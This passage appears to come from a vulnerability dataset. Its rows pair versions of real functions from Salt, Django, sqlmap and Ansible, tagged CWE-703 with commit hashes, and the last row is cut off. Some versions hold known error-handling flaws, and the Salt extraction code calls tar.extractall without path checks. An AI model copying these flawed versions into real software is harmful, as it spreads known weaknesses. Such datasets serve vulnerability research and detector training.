        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    # Check to see if we need to extract the archive. Using os.lstat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    extraction_needed = overwrite

    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.lstat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            for path_list, func in \
                    ((contents['dirs'], stat.S_ISDIR),
                     (contents['files'], lambda x: not stat.S_ISLNK(x)
                                         and not stat.S_ISDIR(x)),
                     (contents['links'], stat.S_ISLNK)):
                for path in path_list:
                    full_path = os.path.join(name, path)
                    try:
                        path_mode = os.lstat(full_path.rstrip(os.sep)).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                        elif exc.errno != errno.ENOTDIR:
                            # In cases where a directory path was occupied by a
                            # file instead, all os.lstat() calls to files within
                            # that dir will raise an ENOTDIR OSError. So we
                            # expect these and will only abort here if the
                            # error code is something else.
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                incorrect_paths = '\n\n' + '\n'.join(
                    ['- {0}'.format(x) for x in incorrect_type]
                )
                ret['comment'] = (
                    'The below paths (relative to {0}) exist, but are the '
                    'incorrect type (file instead of directory, symlink '
                    'instead of file, etc.).'.format(name)
                )
                if __opts__['test'] and clean and contents is not None:
                    ret['result'] = None
                    ret['comment'] += (
                        ' Since the \'clean\' option is enabled, the '
                        'destination paths would be cleared and the '
                        'archive would be extracted.{0}'.format(
                            incorrect_paths
                        )
                    )
                    return ret

                # Skip notices of incorrect types if we're cleaning
                if not (clean and contents is not None):
                    if not force:
                        ret['comment'] += (
                            ' To proceed with extraction, set \'force\' to '
                            'True. Note that this will remove these paths '
                            'before extracting.{0}'.format(incorrect_paths)
                        )
                        return ret
                    else:
                        errors = []
                        for path in incorrect_type:
                            full_path = os.path.join(name, path)
                            try:
                                salt.utils.rm_rf(full_path.rstrip(os.sep))
                                ret['changes'].setdefault(
                                    'removed', []).append(full_path)
                                extraction_needed = True
                            except OSError as exc:
                                if exc.errno != errno.ENOENT:
                                    errors.append(exc.__str__())
                        if errors:
                            msg = (
                                'One or more paths existed by were the incorrect '
                                'type (i.e. file instead of directory or '
                                'vice-versa), but could not be removed. The '
                                'following errors were observed:\n'
                            )
                            for error in errors:
                                msg += '\n- {0}'.format(error)
                            ret['comment'] = msg
                            return ret

    created_destdir = False

    if extraction_needed:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    source_match,
                    name
                )
            if clean and contents is not None:
                ret['comment'] += ', after cleaning destination path(s)'
            return ret

        if clean and contents is not None:
            errors = []
            log.debug('Cleaning archive paths from within %s', name)
            for path in contents['top_level_dirs'] + contents['top_level_files']:
                full_path = os.path.join(name, path)
                try:
                    log.debug('Removing %s', full_path)
                    salt.utils.rm_rf(full_path.rstrip(os.sep))
                    ret['changes'].setdefault(
                        'removed', []).append(full_path)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        errors.append(exc.__str__())

            if errors:
                msg = (
                    'One or more paths could not be cleaned. The following '
                    'errors were observed:\n'
                )
                for error in errors:
                    msg += '\n- {0}'.format(error)
                ret['comment'] = msg
                return ret

        if not os.path.isdir(name):
            __salt__['file.makedirs'](name, user=user)
            created_destdir = True

        log.debug('Extracting {0} to {1}'.format(cached_source, name))
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    try:
                        files = __salt__['archive.cmd_unzip'](
                            cached_source,
                            name,
                            options=options,
                            trim_output=trim_output,
                            password=password,
                            **kwargs)
                    except (CommandExecutionError, CommandNotFoundError) as exc:
                        ret['comment'] = exc.strerror
                        return ret
                else:
                    files = __salt__['archive.unzip'](cached_source,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      **kwargs)
            elif archive_format == 'rar':
                try:
                    files = __salt__['archive.unrar'](cached_source,
                                                      name,
                                                      trim_output=trim_output,
                                                      **kwargs)
                except (CommandExecutionError, CommandNotFoundError) as exc:
                    ret['comment'] = exc.strerror
                    return ret
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached_source, 'r')) as tar:
                            tar.extractall(name)
                            files = tar.getnames()
                    except tarfile.ReadError:
                        if salt.utils.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-l', cached_source],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using XZ Utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached_source)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    if not salt.utils.which('tar'):
                        ret['comment'] = (
                            'tar command not available, it might not be '
                            'installed on minion'
                        )
                        return ret

                    tar_opts = shlex.split(options)

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached_source])

                    results = __salt__['cmd.run_all'](tar_cmd,
                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            if os.path.isdir(enforce_ownership_on):
                enforce_dirs = [enforce_ownership_on]
                enforce_files = []
                enforce_links = []
            else:
                enforce_dirs = []
                enforce_files = [enforce_ownership_on]
                enforce_links = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']
                enforce_links = contents['top_level_links']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __salt__['state.single']('file.directory',
                                                      full_path,
                                                      user=user,
                                                      group=group,
                                                      recurse=recurse,
                                                      test=__opts__['test'],
                                                      concurrent=concurrent)
                try:
                    dir_result = dir_result[next(iter(dir_result))]
                except AttributeError:
                    pass
                log.debug('file.directory: %s', dir_result)

                if __opts__['test']:
                    if dir_result.get('pchanges'):
                        ret['changes']['updated ownership'] = True
                else:
                    try:
                        if dir_result['result']:
                            if dir_result['changes']:
                                ret['changes']['updated ownership'] = True
                        else:
                            enforce_failed.append(full_path)
                    except (KeyError, TypeError):
                        log.warning(
                            'Bad state return %s for file.directory state on %s',
                            dir_result, dirname
                        )

        for filename in enforce_files + enforce_links:
            full_path = os.path.join(name, filename)
            try:
                # Using os.lstat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.lstat directly will speed
                # things up a bit.
                file_stat = os.lstat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.lchown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if len(files) > 0:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(source_match, name)
            if not source_is_local and not keep:
                log.debug('Cleaning cached source file %s', cached_source)
                try:
                    os.remove(cached_source)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        log.error(
                            'Failed to clean cached source file %s: %s',
                            cached_source, exc.__str__()
                        )
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'Can\'t extract content of {0}'.format(source_match)
    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_levle dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    return ret"
,UNKNOWN,UNKNOWN,django/db/models/query.py,1,"def get_or_create(self, **kwargs):
        """"""
        Looks up an object with the given kwargs, creating one if necessary.
        Returns a tuple of (object, created), where created is a boolean
        specifying whether an object was created.
        """"""
        assert kwargs, \
                'get_or_create() must be passed at least one keyword argument'
        defaults = kwargs.pop('defaults', {})
        lookup = kwargs.copy()
        for f in self.model._meta.fields:
            if f.attname in lookup:
                lookup[f.name] = lookup.pop(f.attname)
        try:
            self._for_write = True
            return self.get(**lookup), False
        except self.model.DoesNotExist:
            try:
                params = dict([(k, v) for k, v in kwargs.items() if '__' not in k])
                params.update(defaults)
                obj = self.model(**params)
                sid = transaction.savepoint(using=self.db)
                obj.save(force_insert=True, using=self.db)
                transaction.savepoint_commit(sid, using=self.db)
                return obj, True
            except IntegrityError as e:
                transaction.savepoint_rollback(sid, using=self.db)
                exc_info = sys.exc_info()
                try:
                    return self.get(**lookup), False
                except self.model.DoesNotExist:
                    # Re-raise the IntegrityError with its original traceback.
                    six.reraise(*exc_info)",CWE-703,django/django,4e9a74b81df1c7aaea2f90a3a4911920e134b275,"def get_or_create(self, **kwargs):
        """"""
        Looks up an object with the given kwargs, creating one if necessary.
        Returns a tuple of (object, created), where created is a boolean
        specifying whether an object was created.
        """"""
        assert kwargs, \
                'get_or_create() must be passed at least one keyword argument'
        defaults = kwargs.pop('defaults', {})
        lookup = kwargs.copy()
        for f in self.model._meta.fields:
            if f.attname in lookup:
                lookup[f.name] = lookup.pop(f.attname)
        try:
            return self.get(**lookup), False
        except self.model.DoesNotExist:
            self._for_write = True
            try:
                params = dict([(k, v) for k, v in kwargs.items() if '__' not in k])
                params.update(defaults)
                obj = self.model(**params)
                sid = transaction.savepoint(using=self.db)
                obj.save(force_insert=True, using=self.db)
                transaction.savepoint_commit(sid, using=self.db)
                return obj, True
            except IntegrityError as e:
                transaction.savepoint_rollback(sid, using=self.db)
                exc_info = sys.exc_info()
                try:
                    return self.get(**lookup), False
                except self.model.DoesNotExist:
                    # Re-raise the IntegrityError with its original traceback.
                    six.reraise(*exc_info)"
,UNKNOWN,UNKNOWN,lib/core/common.py,1,"def findPageForms(content, url, raise_=False, addToTargets=False):
    """"""
    Parses given page content for possible forms (Note: still not implemented for Python3)

    >>> findPageForms('<html><form action=""/input.php"" method=""POST""><input type=""text"" name=""id"" value=""1""><input type=""submit"" value=""Submit""></form></html>', 'http://www.site.com') == set([('http://www.site.com/input.php', 'POST', 'id=1', None, None)])
    True
    """"""

    class _(six.StringIO, object):
        def __init__(self, content, url):
            super(_, self).__init__(content)
            self._url = url

        def geturl(self):
            return self._url

    if not content:
        errMsg = ""can't parse forms as the page content appears to be blank""
        if raise_:
            raise SqlmapGenericException(errMsg)
        else:
            logger.debug(errMsg)

    forms = None
    retVal = set()
    response = _(content, url)

    try:
        forms = ParseResponse(response, backwards_compat=False)
    except ParseError:
        if re.search(r""(?i)<!DOCTYPE html|<html"", content or """") and not re.search(r""(?i)\.js(\?|\Z)"", url):
            dbgMsg = ""badly formed HTML at the given URL ('%s'). Going to filter it"" % url
            logger.debug(dbgMsg)
            filtered = _("""".join(re.findall(FORM_SEARCH_REGEX, content)), url)

            if filtered and filtered != content:
                try:
                    forms = ParseResponse(filtered, backwards_compat=False)
                except ParseError:
                    errMsg = ""no success""
                    if raise_:
                        raise SqlmapGenericException(errMsg)
                    else:
                        logger.debug(errMsg)
    except:
        pass

    for form in forms or []:
        try:
            for control in form.controls:
                if hasattr(control, ""items"") and not any((control.disabled, control.readonly)):
                    # if control has selectable items select first non-disabled
                    for item in control.items:
                        if not item.disabled:
                            if not item.selected:
                                item.selected = True
                            break

            if conf.crawlExclude and re.search(conf.crawlExclude, form.action or """"):
                dbgMsg = ""skipping '%s'"" % form.action
                logger.debug(dbgMsg)
                continue

            request = form.click()
        except (ValueError, TypeError) as ex:
            errMsg = ""there has been a problem while ""
            errMsg += ""processing page forms ('%s')"" % getSafeExString(ex)
            if raise_:
                raise SqlmapGenericException(errMsg)
            else:
                logger.debug(errMsg)
        else:
            url = urldecode(request.get_full_url(), kb.pageEncoding)
            method = request.get_method()
            data = request.data
            data = urldecode(data, kb.pageEncoding, spaceplus=False)

            if not data and method and method.upper() == HTTPMETHOD.POST:
                debugMsg = ""invalid POST form with blank data detected""
                logger.debug(debugMsg)
                continue

            # flag to know if we are dealing with the same target host
            _ = checkSameHost(response.geturl(), url)

            if conf.scope:
                if not re.search(conf.scope, url, re.I):
                    continue
            elif not _:
                continue
            else:
                target = (url, method, data, conf.cookie, None)
                retVal.add(target)

    for match in re.finditer(r""\.post\(['\""]([^'\""]*)['\""],\s*\{([^}]*)\}"", content):
        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
        data = """"

        for name, value in re.findall(r""['\""]?(\w+)['\""]?\s*:\s*(['\""][^'\""]+)?"", match.group(2)):
            data += ""%s=%s%s"" % (name, value, DEFAULT_GET_POST_DELIMITER)

        data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))

    for match in re.finditer(r""(?s)(\w+)\.open\(['\""]POST['\""],\s*['\""]([^'\""]+)['\""]\).*?\1\.send\(([^)]+)\)"", content):
        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2)))
        data = match.group(3)

        data = re.sub(r""\s*\+\s*[^\s'\""]+|[^\s'\""]+\s*\+\s*"", """", data)

        data = data.strip(""['\""]"")
        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))

    if not retVal and not conf.crawlDepth:
        errMsg = ""there were no forms found at the given target URL""
        if raise_:
            raise SqlmapGenericException(errMsg)
        else:
            logger.debug(errMsg)

    if addToTargets and retVal:
        for target in retVal:
            kb.targets.add(target)

    return retVal",CWE-703,sqlmapproject/sqlmap,87f6db467d8cc0d6281a5fa637fca8ed2d15e835,"def findPageForms(content, url, raise_=False, addToTargets=False):
    """"""
    Parses given page content for possible forms (Note: still not implemented for Python3)

    >>> findPageForms('<html><form action=""/input.php"" method=""POST""><input type=""text"" name=""id"" value=""1""><input type=""submit"" value=""Submit""></form></html>', 'http://www.site.com') == set([('http://www.site.com/input.php', 'POST', 'id=1', None, None)])
    True
    """"""

    class _(six.StringIO, object):
        def __init__(self, content, url):
            super(_, self).__init__(content)
            self._url = url

        def geturl(self):
            return self._url

    if not content:
        errMsg = ""can't parse forms as the page content appears to be blank""
        if raise_:
            raise SqlmapGenericException(errMsg)
        else:
            logger.debug(errMsg)

    forms = None
    retVal = set()
    response = _(content, url)

    try:
        forms = ParseResponse(response, backwards_compat=False)
    except ParseError:
        if re.search(r""(?i)<!DOCTYPE html|<html"", content or """") and not re.search(r""(?i)\.js(\?|\Z)"", url):
            dbgMsg = ""badly formed HTML at the given URL ('%s'). Going to filter it"" % url
            logger.debug(dbgMsg)
            filtered = _("""".join(re.findall(FORM_SEARCH_REGEX, content)), url)

            if filtered and filtered != content:
                try:
                    forms = ParseResponse(filtered, backwards_compat=False)
                except ParseError:
                    errMsg = ""no success""
                    if raise_:
                        raise SqlmapGenericException(errMsg)
                    else:
                        logger.debug(errMsg)
    except:
        pass

    for form in forms or []:
        try:
            for control in form.controls:
                if hasattr(control, ""items"") and not any((control.disabled, control.readonly)):
                    # if control has selectable items select first non-disabled
                    for item in control.items:
                        if not item.disabled:
                            if not item.selected:
                                item.selected = True
                            break

            if conf.crawlExclude and re.search(conf.crawlExclude, form.action or """"):
                dbgMsg = ""skipping '%s'"" % form.action
                logger.debug(dbgMsg)
                continue

            request = form.click()
        except (ValueError, TypeError) as ex:
            errMsg = ""there has been a problem while ""
            errMsg += ""processing page forms ('%s')"" % getSafeExString(ex)
            if raise_:
                raise SqlmapGenericException(errMsg)
            else:
                logger.debug(errMsg)
        else:
            url = urldecode(request.get_full_url(), kb.pageEncoding)
            method = request.get_method()
            data = request.data
            data = urldecode(data, kb.pageEncoding, spaceplus=False)

            if not data and method and method.upper() == HTTPMETHOD.POST:
                debugMsg = ""invalid POST form with blank data detected""
                logger.debug(debugMsg)
                continue

            # flag to know if we are dealing with the same target host
            _ = checkSameHost(response.geturl(), url)

            if conf.scope:
                if not re.search(conf.scope, url, re.I):
                    continue
            elif not _:
                continue
            else:
                target = (url, method, data, conf.cookie, None)
                retVal.add(target)

    for match in re.finditer(r""\.post\(['\""]([^'\""]*)['\""],\s*\{([^}]*)\}"", content):
        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
        data = """"

        for name, value in re.findall(r""['\""]?(\w+)['\""]?\s*:\s*(['\""][^'\""]+)?"", match.group(2)):
            data += ""%s=%s%s"" % (name, value, DEFAULT_GET_POST_DELIMITER)

        data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))

    for match in re.finditer(r""(?s)(\w+)\.open\(['\""]POST['\""],\s*['\""]([^'\""]+)['\""]\).*?\1\.send\(([^)]+)\)"", content):
        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2)))
        data = match.group(3)

        data = re.sub(r""\s*\+\s*[^\s'\""]+|[^\s'\""]+\s*\+\s*"", """", data)

        data = data.strip(""['\""]"")
        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))

    if not retVal:
        errMsg = ""there were no forms found at the given target URL""
        if raise_:
            raise SqlmapGenericException(errMsg)
        else:
            logger.debug(errMsg)

    if addToTargets and retVal:
        for target in retVal:
            kb.targets.add(target)

    return retVal"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/helpers.py,1,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.role_include import IncludeRole
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list), 'The ds (%s) should be a list but was a %s' % (ds, type(ds))

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict), 'The ds (%s) should be a dict but was a %s' % (ds, type(ds))

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds or 'import_tasks' in task_ds or 'include_tasks' in task_ds:
                if 'include' in task_ds:
                    display.deprecated(""The use of 'include' for tasks has been deprecated. ""
                                       ""Use 'import_tasks' for static inclusions or 'include_tasks' for dynamic inclusions"")

                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if 'include_tasks' in task_ds:
                    is_static = False
                elif 'import_tasks' in task_ds:
                    is_static = True
                elif t.static is not None:
                    display.deprecated(""The use of 'static' has been deprecated. ""
                                       ""Use 'import_tasks' for static inclusion, or 'include_tasks' for dynamic inclusion"")
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                        (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                        (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        if 'import_tasks' in task_ds:
                            raise AnsibleParserError(""You cannot use loops on 'import_tasks' statements. You should use 'include_tasks' instead."", obj=task_ds)
                        else:
                            raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = block
                    cumulative_path = None

                    found = False
                    subdir = 'tasks'
                    if use_handlers:
                        subdir = 'handlers'
                    while parent_include is not None:
                        if not isinstance(parent_include, TaskInclude):
                            parent_include = parent_include._parent
                            continue
                        parent_include_dir = os.path.dirname(templar.template(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, subdir, cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, subdir, include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
                        else:
                            parent_include = parent_include._parent

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                ""Error when evaluating variable in include name: %s.\n\n""
                                ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n""
                                ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n""
                                ""sources like group or host vars."" % t.args['_raw_params'],
                                obj=task_ds,
                                suppress_extended_error=True,
                                orig_exc=e)
                        if t._role:
                            include_file = loader.path_dwim_relative(t._role._role_path, subdir, include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            display.warning('file %s is empty and had no tasks to include' % include_file)
                            continue
                        elif not isinstance(data, list):
                            raise AnsibleParserError(""included task files must contain a list of tasks"", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.vv(""statically imported: %s"" % include_file)
                    except AnsibleFileNotFound:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not ""
                            ""explicitly marked as 'static: yes', we will try and include it dynamically ""
                            ""later. In the future, this will be an error unless 'static: no' is used ""
                            ""on the include task. If you do not want missing includes to be considered ""
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg ""
                            ""options to make all includes static for tasks and/or handlers"" % include_file, version=""2.7""
                        )
                        task_list.append(t)
                        continue

                    ti_copy = t.copy(exclude_parent=True)
                    ti_copy._parent = block
                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=ti_copy,
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = ti_copy.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(ti_copy.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task). ""
                                ""Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"",
                                           version=""2.7"")
                    else:
                        tags = ti_copy.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    t.is_static = False
                    task_list.append(t)

            elif 'include_role' in task_ds or 'import_role' in task_ds:
                ir = IncludeRole.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader,
                )

                #   1. the user has set the 'static' option to false or true
                #   2. one of the appropriate config options was set
                if 'import_role' in task_ds:
                    is_static = True

                elif ir.static is not None:
                    display.deprecated(""The use of 'static' for 'include_role' has been deprecated. ""
                                       ""Use 'import_role' for static inclusion, or 'include_role' for dynamic inclusion"")
                    is_static = ir.static
                else:
                    display.debug('Determine if include_role is static')
                    # Check to see if this include is dynamic or static:
                    all_vars = variable_manager.get_vars(play=play, task=ir)
                    templar = Templar(loader=loader, variables=all_vars)
                    needs_templating = False
                    for param in ir.args:
                        if templar._contains_vars(ir.args[param]):
                            if not templar.is_template(ir.args[param]):
                                needs_templating = True
                                break
                    is_static = (
                        C.DEFAULT_TASK_INCLUDES_STATIC or
                        (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or
                        (not needs_templating and ir.all_parents_static() and not ir.loop)
                    )
                    display.debug('Determined that if include_role static is %s' % str(is_static))

                if is_static:
                    if ir.loop is not None:
                        if 'import_tasks' in task_ds:
                            raise AnsibleParserError(""You cannot use loops on 'import_role' statements. You should use 'include_role' instead."", obj=task_ds)
                        else:
                            raise AnsibleParserError(""You cannot use 'static' on an include_role with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    ir.statically_loaded = True

                    # uses compiled list from object
                    blocks, _ = ir.get_block_list(variable_manager=variable_manager, loader=loader)
                    t = task_list.extend(blocks)
                else:
                    # passes task object itself for latter generation of list
                    t = task_list.append(ir)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)

